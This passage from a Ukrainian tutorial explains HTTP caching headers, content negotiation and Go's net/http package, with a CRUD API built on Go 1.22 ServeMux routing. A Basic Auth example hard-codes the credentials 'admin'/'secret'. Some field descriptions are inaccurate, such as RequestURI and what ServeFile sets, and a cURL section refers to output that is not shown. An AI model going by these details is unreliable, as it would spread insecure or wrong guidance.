Перший запит:

GET /document.pdf HTTP/1.1

HTTP/1.1 200 OK
Last-Modified: Mon, 27 Aug 2026 14:30:00 GMT
Cache-Control: max-age=3600

Повторний запит:

GET /document.pdf HTTP/1.1
If-Modified-Since: Mon, 27 Aug 2026 14:30:00 GMT

Якщо файл не змінювався, сервер повертає 304 Not Modified.

Content Negotiation: узгодження формату відповіді

Content Negotiation (узгодження вмісту) — це механізм HTTP, який дозволяє серверу та клієнту домовитися про найкращий формат відповіді на основі можливостей клієнта. Один і той самий ресурс може бути представлений у різних форматах: JSON, XML, HTML, CSV, Protobuf тощо.

Заголовок Accept: що клієнт може обробити

Клієнт вказує перелік типів вмісту, які він підтримує, через заголовок Accept:

GET /api/v1/users HTTP/1.1
Accept: application/json, application/xml;q=0.9, text/html;q=0.8

Розбір:

• application/json — найвищий пріоритет (за замовчуванням q=1.0).
• application/xml;q=0.9 — пріоритет 0.9.
• text/html;q=0.8 — найнижчий пріоритет 0.8.

Сервер обирає найкращий формат і повертає:

HTTP/1.1 200 OK
Content-Type: application/json

[{"id": 1, "name": "Олена"}, {"id": 2, "name": "Дмитро"}]

Якщо клієнт надіслав Accept: application/xml, сервер поверне:

HTTP/1.1 200 OK
Content-Type: application/xml

<users>
  <user><id>1</id><name>Олена</name></user>
  <user><id>2</id><name>Дмитро</name></user>
</users>

Реалізація Content Negotiation у Go

func usersHandler(w http.ResponseWriter, r *http.Request) {
    users := []User{
        {ID: 1, Name: "Олена"},
        {ID: 2, Name: "Дмитро"},
    }

    // Читаємо заголовок Accept
    acceptHeader := r.Header.Get("Accept")

    switch {
    case strings.Contains(acceptHeader, "application/xml"):
        w.Header().Set("Content-Type", "application/xml")
        xml.NewEncoder(w).Encode(users)

    case strings.Contains(acceptHeader, "text/csv"):
        w.Header().Set("Content-Type", "text/csv")
        fmt.Fprintf(w, "id,name\n")
        for _, u := range users {
            fmt.Fprintf(w, "%d,%s\n", u.ID, u.Name)
        }

    default:
        // JSON за замовчуванням
        w.Header().Set("Content-Type", "application/json")
        json.NewEncoder(w).Encode(users)
    }
}

Accept-Encoding: стиснення відповіді

Заголовок Accept-Encoding вказує алгоритми стиснення, які підтримує клієнт:

GET /api/v1/data HTTP/1.1
Accept-Encoding: gzip, deflate, br

Сервер стискає відповідь і повертає:

HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: application/json

[binary gzip data]

У Go стиснення можна реалізувати через middleware або вбудовану бібліотеку compress/gzip:

func gzipMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        if !strings.Contains(r.Header.Get("Accept-Encoding"), "gzip") {
            next.ServeHTTP(w, r)
            return
        }

        w.Header().Set("Content-Encoding", "gzip")
        gz := gzip.NewWriter(w)
        defer gz.Close()

        gzipWriter := gzipResponseWriter{Writer: gz, ResponseWriter: w}
        next.ServeHTTP(gzipWriter, r)
    })
}

type gzipResponseWriter struct {
    io.Writer
    http.ResponseWriter
}

func (w gzipResponseWriter) Write(b []byte) (int, error) {
    return w.Writer.Write(b)
}

Accept-Language: мультимовність

Заголовок Accept-Language вказує бажану мову інтерфейсу:

GET / HTTP/1.1
Accept-Language: uk-UA, en-US;q=0.9, ru;q=0.8

Сервер повертає контент українською мовою, якщо підтримує.

Стандартний пакет net/http: архітектура та інтерфейси

Тепер, коли ми розуміємо структуру протоколу HTTP, перейдемо до вивчення стандартного пакета net/http мови Go. Цей пакет є одним із найелегантніших та найпотужніших у всій екосистемі Go: він приховує всю складність парсингу HTTP-запитів, керування з'єднаннями, підтримки HTTP/1.1 та HTTP/2, при цьому надаючи надзвичайно простий інтерфейс для розробника.

Центральний інтерфейс http.Handler

Серцем архітектури net/http є інтерфейс http.Handler, який складається з єдиного методу:

type Handler interface {
    ServeHTTP(w ResponseWriter, r *Request)
}

Будь-який тип у Go, який реалізує метод ServeHTTP із такою сигнатурою, автоматично стає HTTP-обробником. Це дозволяє створювати величезну кількість композицій та патернів (middleware, роутери, групування обробників).

Параметри методу:

• w ResponseWriter — інтерфейс для формування HTTP-відповіді. Через нього ви встановлюєте заголовки (w.Header().Set(...)), записуєте статус-код (w.WriteHeader(...)) та тіло відповіді (w.Write(...)).
• r *Request — структура, яка містить всю інформацію про вхідний HTTP-запит: метод (r.Method), URL (r.URL), заголовки (r.Header), тіло (r.Body), контекст (r.Context()).

Найпростіший HTTP-сервер на net/http

Розглянемо мінімальний робочий приклад:

package main

import (
    "fmt"
    "net/http"
)

func main() {
    // Реєструємо обробник для кореневого шляху
    http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintf(w, "Вітаємо! Ви відкрили шлях: %s\n", r.URL.Path)
    })

    // Запускаємо сервер на порту 8080
    fmt.Println("🚀 Сервер запущено на http://localhost:8080")
    http.ListenAndServe(":8080", nil)
}

Цей сервер обробляє всі HTTP-запити (будь-який шлях, будь-який метод) і повертає просте текстове повідомлення. Функція http.HandleFunc — це зручний хелпер, який автоматично перетворює функцію з сигнатурою func(w ResponseWriter, r *Request) на тип http.Handler.

Як працює http.ListenAndServe

Під капотом функція http.ListenAndServe(addr, handler) виконує наступні кроки:

1. Створює TCP-слухача за допомогою net.Listen("tcp", addr).
2. Входить у нескінченний цикл прийняття з'єднань (listener.Accept()).
3. Для кожного нового з'єднання запускає окрему горутину, яка:
   • Читає HTTP-запит із сокета.
   • Парсить стартовий рядок, заголовки та тіло.
   • Викликає зареєстрований обробник handler.ServeHTTP(w, r).
   • Формує HTTP-відповідь та записує її у сокет.
   • Якщо з'єднання persistent (Connection: keep-alive), чекає наступного запиту в тому самому з'єднанні.

Це означає, що Go-сервер автоматично є багатопотоковим (точніше, багатогорутинним) без жодного додаткового коду з вашого боку. Якщо до сервера одночасно підключаться 1000 клієнтів, Go-рантайм створить 1000 горутин, кожна з яких обробляє свого клієнта незалежно.

Стандартний роутер http.ServeMux

Якщо ви передаєте nil у другий аргумент http.ListenAndServe, використовується глобальний роутер http.DefaultServeMux, який ви налаштовуєте через функції http.Handle та http.HandleFunc. Але ви також можете створити власний екземпляр роутера:

package main

import (
    "encoding/json"
    "fmt"
    "net/http"
)

func main() {
    // Створюємо новий роутер
    mux := http.NewServeMux()

    // Реєструємо обробники для різних шляхів
    mux.HandleFunc("/", homeHandler)
    mux.HandleFunc("/health", healthHandler)
    mux.HandleFunc("/api/users", usersHandler)

    fmt.Println("🚀 Сервер запущено на http://localhost:8080")
    http.ListenAndServe(":8080", mux)
}

func homeHandler(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Content-Type", "text/html; charset=utf-8")
    fmt.Fprintf(w, "<h1>Вітаємо на головній сторінці</h1>")
}

func healthHandler(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(map[string]string{
        "status": "healthy",
        "version": "1.0.0",
    })
}

func usersHandler(w http.ResponseWriter, r *http.Request) {
    // До Go 1.22 перевірку методу доводилося здійснювати вручну в тілі обробника
    if r.Method != http.MethodGet {
        http.Error(w, "Method Not Allowed", http.StatusMethodNotAllowed)
        return
    }

    users := []map[string]any{
        {"id": 1, "name": "Олена"},
        {"id": 2, "name": "Дмитро"},
    }

    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(users)
}

Еволюція маршрутизатора: революція в Go 1.22

Протягом понад десятиліття стандартний роутер http.ServeMux піддавався критиці за свою примітивність. У попередніх версіях Go він виконував лише найпростіший префіксний пошук рядків і мав три фундаментальні обмеження:

1. Відсутність прив'язки до HTTP-методів: Шаблон маршруту (наприклад, /api/users) перехоплював абсолютно всі запити незалежно від того, чи це був GET, POST, PUT чи DELETE. Інженеру доводилося вручну перевіряти поле r.Method усередині кожного хендлера або конструювати власні громіздкі конструкції switch r.Method.
2. Відсутність динамічних параметрів шляху (wildcards / path parameters): Роутер не мав засобів вилучення динамічних змінних із URL (наприклад, ідентифікатора у шляху /users/42). Для отримання id доводилося вручну викликати strings.TrimPrefix, розбивати рядок через strings.Split або використовувати регулярні вирази, що призводило до появи помилок та надлишкового коду.
3. «Жадібний» кореневий маршрут: Шаблон / зіставлявся з будь-яким URL-шляхом, який не потрапив під інші правила, діючи як глобальний уловлювач за замовчуванням (catch-all). Це змушувало розробників писати додаткові перевірки if r.URL.Path != "/" для відокремлення суто головної сторінки від помилок 404 Not Found.

Через ці обмеження розробники у більшості комерційних проєктів відмовлялися від стандартного http.ServeMux на користь сторонніх рішень — маршрутизатора Chi, бібліотеки Gorilla Mux або вебфреймворку Gin.

Проте в лютому 2024 року, з виходом Go 1.22, стандартна бібліотека зазнала значного оновлення: розробники ядра Go реалізували повноцінне зіставлення методів та динамічних параметрів безпосередньо у стандартному http.ServeMux, зберігши при цьому 100% зворотну сумісність.

Новий синтаксис шаблонів у Go 1.22+

Оновлений синтаксис шаблонів дозволяє декларативно описувати HTTP-методи та вилучати параметри з URL:

mux.HandleFunc("GET /users/{id}", func(w http.ResponseWriter, r *http.Request) {
    id := r.PathValue("id") // повертає string, наприклад "42"
    fmt.Fprintf(w, "Користувач ID: %s", id)
})

mux.HandleFunc("GET /static/{filepath...}", func(w http.ResponseWriter, r *http.Request) {
    filePath := r.PathValue("filepath") // наприклад "css/theme/dark.css"
    fmt.Fprintf(w, "Шлях до файлу: %s", filePath)
})

mux.HandleFunc("GET /{$}", homeHandler) // спрацює лише для запиту "/"

Правила специфічності та вирішення колізій

У реальних застосунках маршрути можуть частково перетинатися. Наприклад, ви можете зареєструвати маршрут для профілю поточного користувача /users/me та загальний маршрут для користувача за ідентифікатором /users/{id}.

Стандартний http.ServeMux у Go 1.22+ використовує детерміноване правило найвищої специфічності (most specific pattern wins):

1. Літеральні сегменти перемагають вайлдкарди: Шаблон /users/me є більш специфічним, ніж /users/{id}. Якщо клієнт запитує /users/me, буде викликано саме обробник для me, а не параметризований обробник.
2. Одиночні вайлдкарди перемагають залишкові: Шаблон /files/{name} є більш специфічним, ніж /files/{path...}.
3. Явні методи перемагають безметодні шаблони: Шаблон "GET /items" має вищий пріоритет над шаблоном "/items" для GET-запитів.
4. Виявлення неоднозначних колізій на старті: Якщо два маршрути перетинаються і жоден із них не є суворо більш специфічним (наприклад, /users/{id}/profile та /{entity}/me/profile), Go викидає паніку (panic) під час виклику mux.Handle чи mux.HandleFunc ще на етапі запуску програми. Це унеможливлює недетерміновані помилки маршрутизації в продакшені.

Порівняння: підхід до Go 1.22 проти сучасного синтаксису

Погляньте, наскільки лаконічнішим та безпечнішим став код стандартного роутера:

mux := http.NewServeMux()

// Один маршрут перехоплював усі методи та супутні шляхи
mux.HandleFunc("/api/users/", func(w http.ResponseWriter, r *http.Request) {
    // 1. Ручна перевірка методу
    switch r.Method {
    case http.MethodGet:
        // 2. Ручний парсинг ідентифікатора з URL
        idStr := strings.TrimPrefix(r.URL.Path, "/api/users/")
        if idStr == "" {
            http.Error(w, "ID обов'язковий", http.StatusBadRequest)
            return
        }
        id, err := strconv.Atoi(idStr)
        if err != nil {
            http.Error(w, "Некоректний ID", http.StatusBadRequest)
            return
        }
        getUser(w, r, id)

    case http.MethodDelete:
        idStr := strings.TrimPrefix(r.URL.Path, "/api/users/")
        deleteUser(w, r, idStr)

    default:
        // 3. Ручне формування статусу 405
        w.Header().Set("Allow", "GET, DELETE")
        http.Error(w, "Method Not Allowed", http.StatusMethodNotAllowed)
    }
})

mux := http.NewServeMux()

// Декларативне розділення за методом та динамічним параметром
mux.HandleFunc("GET /api/users/{id}", func(w http.ResponseWriter, r *http.Request) {
    // 1. Метод r.PathValue вилучає значення одразу
    idStr := r.PathValue("id")
    id, err := strconv.Atoi(idStr)
    if err != nil {
        http.Error(w, "Некоректний ID", http.StatusBadRequest)
        return
    }
    getUser(w, r, id)
})

mux.HandleFunc("DELETE /api/users/{id}", func(w http.ResponseWriter, r *http.Request) {
    idStr := r.PathValue("id")
    deleteUser(w, r, idStr)
})

// При запиті POST або PUT Go автоматично надішле 405 зі списком Allow!

Повний приклад: REST API статей на стандартному http.ServeMux

Розглянемо повний навчальний приклад побудови CRUD REST API для статей за допомогою нових можливостей Go 1.22+:

package main

import (
    "encoding/json"
    "fmt"
    "log"
    "net/http"
    "strconv"
    "sync"
)

// Article представляє доменну сутність статті
type Article struct {
    ID    int    `json:"id"`
    Title string `json:"title"`
}

// MemoryStore реалізує потокобезпечне сховище статей у пам'яті
type MemoryStore struct {
    sync.RWMutex
    items  map[int]Article
    nextID int
}

func newMemoryStore() *MemoryStore {
    store := &MemoryStore{
        items:  make(map[int]Article),
        nextID: 3,
    }
    store.items[1] = Article{ID: 1, Title: "Протокол HTTP та архітектура клієнт-сервер"}
    store.items[2] = Article{ID: 2, Title: "Параметри шляху в оновленому Go ServeMux"}
    return store
}

func main() {
    store := newMemoryStore()
    mux := http.NewServeMux()

    // 1. Точний збіг для кореневого маршруту (Exact Match)
    mux.HandleFunc("GET /{$}", func(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Content-Type", "text/plain; charset=utf-8")
        fmt.Fprintln(w, "Головна сторінка API статей на Go 1.22+")
    })

    // 2. Отримання списку статей (GET)
    mux.HandleFunc("GET /api/v1/articles", func(w http.ResponseWriter, r *http.Request) {
        store.RLock()
        defer store.RUnlock()

        list := make([]Article, 0, len(store.items))
        for _, item := range store.items {
            list = append(list, item)
        }

        w.Header().Set("Content-Type", "application/json")
        json.NewEncoder(w).Encode(list)
    })

    // 3. Створення нової статті (POST)
    mux.HandleFunc("POST /api/v1/articles", func(w http.ResponseWriter, r *http.Request) {
        var payload struct {
            Title string `json:"title"`
        }

        if err := json.NewDecoder(r.Body).Decode(&payload); err != nil || payload.Title == "" {
            http.Error(w, `{"error": "поле title обов'язкове"}`, http.StatusBadRequest)
            return
        }

        store.Lock()
        newArticle := Article{ID: store.nextID, Title: payload.Title}
        store.items[store.nextID] = newArticle
        store.nextID++
        store.Unlock()

        w.Header().Set("Content-Type", "application/json")
        w.WriteHeader(http.StatusCreated)
        json.NewEncoder(w).Encode(newArticle)
    })

    // 4. Отримання конкретної статті за динамічним параметром {id}
    mux.HandleFunc("GET /api/v1/articles/{id}", func(w http.ResponseWriter, r *http.Request) {
        // Отримання параметра шляху
        idParam := r.PathValue("id")
        id, err := strconv.Atoi(idParam)
        if err != nil || id <= 0 {
            http.Error(w, `{"error": "ідентифікатор має бути додатним цілим числом"}`, http.StatusBadRequest)
            return
        }

        store.RLock()
        article, found := store.items[id]
        store.RUnlock()

        if !found {
            http.Error(w, `{"error": "статтю з таким ідентифікатором не знайдено"}`, http.StatusNotFound)
            return
        }

        w.Header().Set("Content-Type", "application/json")
        json.NewEncoder(w).Encode(article)
    })

    // 5. Видалення статті (DELETE)
    mux.HandleFunc("DELETE /api/v1/articles/{id}", func(w http.ResponseWriter, r *http.Request) {
        idParam := r.PathValue("id")
        id, err := strconv.Atoi(idParam)
        if err != nil || id <= 0 {
            http.Error(w, `{"error": "некоректний ідентифікатор статті"}`, http.StatusBadRequest)
            return
        }

        store.Lock()
        _, exists := store.items[id]
        if exists {
            delete(store.items, id)
        }
        store.Unlock()

        if !exists {
            http.Error(w, `{"error": "статтю не знайдено"}`, http.StatusNotFound)
            return
        }

        // 204 No Content сигналізує про успішне видалення без тіла відповіді
        w.WriteHeader(http.StatusNoContent)
    })

    // 6. Залишковий вайлдкард для роздачі або логування файлів
    mux.HandleFunc("GET /docs/{filepath...}", func(w http.ResponseWriter, r *http.Request) {
        docPath := r.PathValue("filepath")
        w.Header().Set("Content-Type", "text/plain; charset=utf-8")
        fmt.Fprintf(w, "Запит документації за відносним шляхом: %s\n", docPath)
    })

    log.Println("🚀 REST API сервер запущено на http://localhost:8080")
    if err := http.ListenAndServe(":8080", mux); err != nil {
        log.Fatalf("Критична помилка сервера: %v", err)
    }
}

Перевірка роботи та діагностика викликів через cURL

Протестуємо поведінку сервера, параметризацію та реакцію на непідтримувані HTTP-методи за допомогою терміналу:

Зверніть особливу увагу на другий запит у терміналі: ми спробували надіслати запит методом PATCH. Сервер повернув статус 405 Method Not Allowed та заголовок Allow: DELETE, GET автоматично, не виконавши жодного рядка нашого хендлера! Це демонструє суворе дотримання стандарту HTTP/1.1 з боку ядра Go без залучення стороннього коду.

Глибокий розбір net/http: всі рухомі частинки

Тепер розглянемо детально всі ключові типи, інтерфейси та функції пакета net/http у стилі технічної документації.

Структура http.Request: повна анатомія запиту

Структура *http.Request містить всю інформацію про вхідний HTTP-запит. Розглянемо кожне поле детально.

type Request struct {
    // HTTP-метод (GET, POST, PUT, PATCH, DELETE, HEAD, OPTIONS)
    Method string

    // URL запиту (розібраний URI)
    URL *url.URL

    // Версія протоколу: "HTTP/1.1", "HTTP/2.0"
    Proto      string // "HTTP/1.1"
    ProtoMajor int    // 1
    ProtoMinor int    // 1

    // Заголовки запиту
    Header Header

    // Тіло запиту (потік, який потрібно закрити)
    Body io.ReadCloser

    // Розмір тіла запиту (-1 якщо невідомо)
    ContentLength int64

    // Список Transfer-Encoding (наприклад, ["chunked"])
    TransferEncoding []string

    // Закривати з'єднання після відповіді
    Close bool

    // Хост із заголовка Host або URL
    Host string

    // Розібрані дані форми (після виклику ParseForm)
    Form url.Values

    // Розібрані дані multipart форми (після ParseMultipartForm)
    PostForm url.Values
    MultipartForm *multipart.Form

    // Інформація про TLS з'єднання (nil для HTTP)
    TLS *tls.ConnectionState

    // Адреса віддаленого клієнта "192.168.1.100:54321"
    RemoteAddr string

    // Шлях до локального файлу (при ServeFile)
    RequestURI string

    // Контекст запиту (для таймаутів та скасування)
    ctx context.Context
}

Поле URL *url.URL: структура URI

type URL struct {
    Scheme   string    // "http", "https"
    Opaque   string    // закодована непрозора частина
    User     *Userinfo // username:password (рідко використовується)
    Host     string    // "example.com:8080"
    Path     string    // "/api/v1/users"
    RawPath  string    // закодована версія Path
    RawQuery string    // "page=2&limit=20"
    Fragment string    // частина після # (не передається серверу)
}

Приклад роботи з URL:

func analyzeURL(w http.ResponseWriter, r *http.Request) {
    u := r.URL

    fmt.Fprintf(w, "Шлях: %s\n", u.Path)              // /api/v1/users
    fmt.Fprintf(w, "Raw Query: %s\n", u.RawQuery)     // page=2&limit=20
    
    // Розібрані query-параметри
    query := u.Query()
    page := query.Get("page")      // "2"
    limit := query.Get("limit")    // "20"
    
    // Перевірка наявності параметра
    if _, exists := query["filter"]; exists {
        fmt.Fprintf(w, "Параметр filter присутній\n")
    }

    // Отримання всіх значень параметра (якщо їх кілька)
    // ?tag=go&tag=http&tag=tutorial
    tags := query["tag"] // []string{"go", "http", "tutorial"}
}

Поле Header http.Header: карта заголовків

http.Header — це карта map[string][]string, де ключ — ім'я заголовка (канонізоване до Title-Case), значення — масив рядків (оскільки один заголовок може мати кілька значень).

type Header map[string][]string

Методи інтерфейсу Header:

// Отримання першого значення заголовка (найчастіше використовується)
func (h Header) Get(key string) string

// Встановлення заголовка (замінює існуючі значення)
func (h Header) Set(key, value string)

// Додавання значення до заголовка (не замінює існуючі)
func (h Header) Add(key, value string)

// Видалення заголовка
func (h Header) Del(key string)

// Отримання всіх значень заголовка
func (h Header) Values(key string) []string

// Канонізація імені заголовка (Content-Type, Accept-Encoding)
func CanonicalHeaderKey(s string) string

Приклад роботи з заголовками:

func headersHandler(w http.ResponseWriter, r *http.Request) {
    // Читання заголовків
    userAgent := r.Header.Get("User-Agent")
    acceptLang := r.Header.Get("Accept-Language")
    
    // Отримання всіх значень (якщо заголовок повторюється)
    acceptTypes := r.Header.Values("Accept")
    // ["application/json", "text/html", "*/*"]

    // Перевірка наявності заголовка
    if auth := r.Header.Get("Authorization"); auth == "" {
        http.Error(w, "Missing Authorization header", http.StatusUnauthorized)
        return
    }

    // Встановлення заголовків відповіді
    w.Header().Set("Content-Type", "application/json")
    w.Header().Set("X-Request-ID", generateRequestID())
    
    // Додавання кількох значень одного заголовка
    w.Header().Add("Set-Cookie", "session=abc; HttpOnly")
    w.Header().Add("Set-Cookie", "theme=dark; Path=/")

    // Видалення заголовка
    w.Header().Del("X-Debug-Info")
}

Поле Body io.ReadCloser: потокове читання тіла

Тіло запиту представлено інтерфейсом io.ReadCloser, який об'єднує io.Reader та io.Closer:

type ReadCloser interface {
    Read(p []byte) (n int, err error)
    Close() error
}

Критично важливо: Ви завжди повинні закривати r.Body після читання, навіть якщо виникла помилка. Використовуйте defer r.Body.Close().

Способи читання тіла:

// 1. Читання всього тіла в пам'ять (для невеликих даних)
func readAllBody(w http.ResponseWriter, r *http.Request) {
    defer r.Body.Close()

    body, err := io.ReadAll(r.Body)
    if err != nil {
        http.Error(w, "Failed to read body", http.StatusBadRequest)
        return
    }

    fmt.Fprintf(w, "Received %d bytes: %s", len(body), string(body))
}

// 2. Потокова обробка (для великих даних)
func streamBody(w http.ResponseWriter, r *http.Request) {
    defer r.Body.Close()

    // Обмеження розміру читання (захист від DoS)
    limitedBody := io.LimitReader(r.Body, 10*1024*1024) // 10 MB

    // Потокове копіювання у файл
    dst, _ := os.Create("uploaded.bin")
    defer dst.Close()

    io.Copy(dst, limitedBody)
}

// 3. Декодування JSON (найчастіше для API)
func decodeJSON(w http.ResponseWriter, r *http.Request) {
    defer r.Body.Close()

    var payload struct {
        Name  string `json:"name"`
        Email string `json:"email"`
    }

    decoder := json.NewDecoder(r.Body)
    decoder.DisallowUnknownFields() // Строга валідація
    
    if err := decoder.Decode(&payload); err != nil {
        http.Error(w, fmt.Sprintf("Invalid JSON: %v", err), http.StatusBadRequest)
        return
    }

    // Перевірка, чи немає зайвих даних після JSON
    if decoder.More() {
        http.Error(w, "Extraneous data after JSON", http.StatusBadRequest)
        return
    }

    fmt.Fprintf(w, "Name: %s, Email: %s", payload.Name, payload.Email)
}

Методи структури *http.Request

// Отримання контексту запиту
func (r *Request) Context() context.Context

// Встановлення нового контексту (створює копію запиту!)
func (r *Request) WithContext(ctx context.Context) *Request

// Отримання cookie за іменем
func (r *Request) Cookie(name string) (*Cookie, error)

// Отримання всіх cookies
func (r *Request) Cookies() []*Cookie

// Розбір форми (заповнює r.Form та r.PostForm)
func (r *Request) ParseForm() error

// Розбір multipart форми (для завантаження файлів)
func (r *Request) ParseMultipartForm(maxMemory int64) error

// Отримання значення поля форми (викликає ParseForm автоматично)
func (r *Request) FormValue(key string) string

// Отримання файлу з multipart форми
func (r *Request) FormFile(key string) (multipart.File, *multipart.FileHeader, error)

// Перевірка базової HTTP-автентифікації
func (r *Request) BasicAuth() (username, password string, ok bool)

// Створення дочірнього запиту (для проксі)
func (r *Request) Clone(ctx context.Context) *Request

Приклад роботи з формами:

func formHandler(w http.ResponseWriter, r *http.Request) {
    // Автоматичний парсинг форми
    username := r.FormValue("username") // Викликає ParseForm автоматично
    password := r.FormValue("password")

    // Або ручний парсинг із обробкою помилок
    if err := r.ParseForm(); err != nil {
        http.Error(w, "Failed to parse form", http.StatusBadRequest)
        return
    }

    // Доступ до розібраних даних
    email := r.Form.Get("email")
    
    // Отримання множинних значень (checkbox)
    interests := r.Form["interests"] // []string{"coding", "music", "sports"}

    fmt.Fprintf(w, "User: %s, Interests: %v", username, interests)
}

Приклад Basic Authentication:

func protectedHandler(w http.ResponseWriter, r *http.Request) {
    username, password, ok := r.BasicAuth()
    if !ok {
        // Запит автентифікації
        w.Header().Set("WWW-Authenticate", `Basic realm="Restricted Area"`)
        http.Error(w, "Unauthorized", http.StatusUnauthorized)
        return
    }

    // Перевірка облікових даних
    if username != "admin" || password != "secret" {
        http.Error(w, "Forbidden", http.StatusForbidden)
        return
    }

    fmt.Fprintf(w, "Вітаємо, %s!", username)
}

Інтерфейс http.ResponseWriter: формування відповіді

ResponseWriter — це інтерфейс для запису HTTP-відповіді. Він приховує складність буферизації, стиснення та керування з'єднанням.

type ResponseWriter interface {
    // Header повертає карту заголовків відповіді
    // Важливо: заголовки треба встановити ДО виклику Write або WriteHeader
    Header() Header

    // Write записує дані у тіло відповіді
    // Першим викликом Write автоматично відправляє статус-код 200 OK
    Write([]byte) (int, error)

    // WriteHeader встановлює HTTP статус-код
    // Має викликатися ДО першого Write
    // Повторні виклики ігноруються
    WriteHeader(statusCode int)
}

Порядок операцій (критично важливо!)

func correctOrder(w http.ResponseWriter, r *http.Request) {
    // 1. Спочатку встановлюємо заголовки
    w.Header().Set("Content-Type", "application/json")
    w.Header().Set("X-Request-ID", "abc-123")
    
    // 2. Потім статус-код (опціонально, за замовчуванням 200)
    w.WriteHeader(http.StatusCreated) // 201
    
    // 3. Нарешті записуємо тіло
    w.Write([]byte(`{"status": "created"}`))
}

func wrongOrder(w http.ResponseWriter, r *http.Request) {
    // ❌ ПОМИЛКА: пишемо тіло першим
    w.Write([]byte("Hello"))
    
    // ❌ ЦЕ НЕ СПРАЦЮЄ: заголовки вже відправлені!
    w.Header().Set("Content-Type", "text/plain")
    
    // ❌ ЦЕ ТЕЖ НЕ СПРАЦЮЄ: статус-код вже встановлено (200)
    w.WriteHeader(http.StatusCreated)
}

Розширені інтерфейси ResponseWriter

Go-сервер автоматично додає додаткові можливості до ResponseWriter через опціональні інтерфейси (optional interfaces). Ви можете перевірити їхню наявність через type assertion.

1. http.Flusher — примусове відправлення даних:

type Flusher interface {
    Flush()
}

Використовується для Server-Sent Events (SSE) або потокового виведення:

func sseHandler(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Content-Type", "text/event-stream")
    w.Header().Set("Cache-Control", "no-cache")
    w.Header().Set("Connection", "keep-alive")

    flusher, ok := w.(http.Flusher)
    if !ok {
        http.Error(w, "SSE not supported", http.StatusInternalServerError)
        return
    }

    for i := 0; i < 10; i++ {
        fmt.Fprintf(w, "data: Message %d\n\n", i)
        flusher.Flush() // Примусово відправляємо дані клієнту
        time.Sleep(1 * time.Second)
    }
}

2. http.Hijacker — захоплення з'єднання для WebSocket:

type Hijacker interface {
    Hijack() (net.Conn, *bufio.ReadWriter, error)
}

Дозволяє отримати прямий доступ до TCP-сокета, щоб реалізувати власний протокол (WebSocket, custom binary protocol):

func websocketHandler(w http.ResponseWriter, r *http.Request) {
    hijacker, ok := w.(http.Hijacker)
    if !ok {
        http.Error(w, "Hijacking not supported", http.StatusInternalServerError)
        return
    }

    conn, buf, err := hijacker.Hijack()
    if err != nil {
        http.Error(w, err.Error(), http.StatusInternalServerError)
        return
    }
    defer conn.Close()

    // Тепер ми маємо прямий доступ до сокета
    // Реалізуємо WebSocket handshake та протокол
    // (у реальності використовуйте gorilla/websocket)
}

3. http.Pusher — HTTP/2 Server Push:

type Pusher interface {
    Push(target string, opts *PushOptions) error
}

Використовується для проактивного відправлення ресурсів (CSS, JS) до запиту:

func pushHandler(w http.ResponseWriter, r *http.Request) {
    pusher, ok := w.(http.Pusher)
    if ok {
        // Проштовхуємо критичні ресурси
        if err := pusher.Push("/styles.css", nil); err != nil {
            log.Printf("Failed to push: %v", err)
        }
    }

    w.Header().Set("Content-Type", "text/html")
    fmt.Fprintf(w, `<html><head><link rel="stylesheet" href="/styles.css"></head></html>`)
}

4. http.CloseNotifier (застарілий у Go 1.11+):

Використовуйте замість нього r.Context().Done() для виявлення обриву з'єднання.

Хелпери для роботи з ResponseWriter

// Відправка помилки із заголовком Content-Type: text/plain
func http.Error(w ResponseWriter, error string, code int)

// Редирект (встановлює Location та статус-код)
func http.Redirect(w ResponseWriter, r *Request, url string, code int)

// Відправка файлу (автоматично визначає Content-Type, підтримує Range Requests)
func http.ServeFile(w ResponseWriter, r *Request, name string)

// Відправка контенту із io.ReadSeeker (більше контролю, ніж ServeFile)
func http.ServeContent(w ResponseWriter, r *Request, name string, modtime time.Time, content io.ReadSeeker)

// Встановлення cookie
func http.SetCookie(w ResponseWriter, cookie *Cookie)

// Видалення cookie (встановлює MaxAge=-1)
func deleteCookie(w ResponseWriter, name string) {
    http.SetCookie(w, &http.Cookie{
        Name:   name,
        Value:  "",
        Path:   "/",
        MaxAge: -1,
    })
}

Приклад використання хелперів:

func fileDownloadHandler(w http.ResponseWriter, r *http.Request) {
    // Перевірка автентифікації
    if !isAuthenticated(r) {
        http.Error(w, "Unauthorized", http.StatusUnauthorized)
        return
    }

    // Відправка файлу (автоматично додає Content-Disposition, Content-Length, підтримує Range Requests)
    http.ServeFile(w, r, "/var/files/document.pdf")
}

func redirectHandler(w http.ResponseWriter, r *http.Request) {
    // Перенаправлення на новий URL
    http.Redirect(w, r, "/new-location", http.StatusMovedPermanently)
}

Структура http.Server: конфігурація сервера

http.Server — це центральна структура для керування HTTP-сервером. Вона дає повний контроль над поведінкою сервера.

type Server struct {
    // Адреса для прослуховування, формат ":8080" або "0.0.0.0:8080"
    Addr string

    // Головний обробник (роутер)
    // Якщо nil, використовується http.DefaultServeMux
    Handler Handler

    // Таймаут читання всього запиту (заголовки + тіло)
    // За замовчуванням: необмежений (небезпечно!)
    ReadTimeout time.Duration

    // Таймаут читання заголовків (менший за ReadTimeout)
    // Дозволяє швидше відхиляти повільні клієнти
    ReadHeaderTimeout time.Duration

    // Таймаут запису відповіді
    WriteTimeout time.Duration

    // Таймаут очікування наступного запиту при keep-alive
    IdleTimeout time.Duration

    // Максимальний розмір заголовків запиту (за замовчуванням 1 MB)
    MaxHeaderBytes int

    // TLS конфігурація (для HTTPS)
    TLSConfig *tls.Config

    // Налаштування HTTP/2
    // Автоматично активується для TLS, якщо не вимкнено
    TLSNextProto map[string]func(*Server, *tls.Conn, Handler)

    // Час очікування плавного завершення
    // (не поле структури, передається в Shutdown)

    // Функція для логування помилок
    ErrorLog *log.Logger

    // Базовий контекст для всіх запитів
    BaseContext func(net.Listener) context.Context

    // Функція для налаштування контексту кожного запиту
    ConnContext func(ctx context.Context, c net.Conn) context.Context
}

Методи http.Server

// Запуск HTTP-сервера (блокуючий виклик)
func (srv *Server) ListenAndServe() error

